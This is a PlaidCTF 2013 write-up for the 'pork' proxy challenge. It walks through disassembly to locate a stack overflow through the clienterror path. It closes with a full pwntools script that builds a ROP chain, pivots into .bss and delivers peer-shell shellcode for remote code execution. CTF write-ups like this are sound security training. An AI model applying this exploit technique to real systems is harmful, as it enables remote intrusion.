pork - PlaidCTF 2013
It was fairly obvious it was a proxy from strings
Not found
GET %s HTTP/1.0
Host: %s
%s http://%s %s
Proxy does not implement this method
The third argument in sscanf could be ooverflown since read is called with 0x800 byes and the buffer is only 0x400.
sub esp,0x24f0
lea ecx,[esp+0x1c24]
mov DWORD PTR [esp+0x10],ecx
However as we can see the stack is large enough and the space above is writen to before use.
A quick glance at clienterror reveals that it should be possible to make a overflow here if we can control one of the three inputs. But in the main function, we have no luck.
mov DWORD PTR [esp+0xc],0x8049b34
mov DWORD PTR [esp+0x8],0x8049b59
mov DWORD PTR [esp+0x4],0x8049b69
mov eax,DWORD PTR [esp+0x24b8] ; socket
mov DWORD PTR [esp],eax
call 8048d16 <clienterror>
Onwards to serve()! call to clienterror with an argument? Check.
lea eax,[ebp-0x1894]
mov DWORD PTR [esp+0xc],eax
mov DWORD PTR [esp+0x8],0x8049ab8
mov DWORD PTR [esp+0x4],0x8049ac2
mov eax,DWORD PTR [ebp+0x8] ;socket
mov DWORD PTR [esp],eax
call 8048d16 <clienterror>
This code is called if gethostnameby_r fails.
What is left is the ropping. pwntools to the rescue!
#!/usr/bin/env python
from pwn import *
context('i386', 'linux', 'ipv4')
#HOST = '127.0.0.1'
HOST = '184.72.73.160'
PORT = 33227
r = remote(HOST, PORT, timeout = None)
p = rop.ROP('./pork-8c2fdf93e211c7358e0192a24bc951843da672b1')
buf = p.sections['.bss'] + ord('A')
shellcode = asm(shellcode.findpeersh())
p.call('read', [4, buf+5*4, len(shellcode)])
p.call(buf+5*4)
pivot_rop = p.flush()
for n,c in enumerate(pivot_rop):
p.call('sprintf', [buf+n, p.search(c).next()])
p.migrate(buf)
rop_chain = p32(p._gadgets['popret'][3][0])*4 + p.generate()
pause()
r.send('GET http://' + 'A'.ljust(1024, 'A') + rop_chain + ' HTTP/1.1\r\n')
sleep(1.0)
r.send('\r\n')
sleep(1.0)
r.send(shellcode)
r.interactive()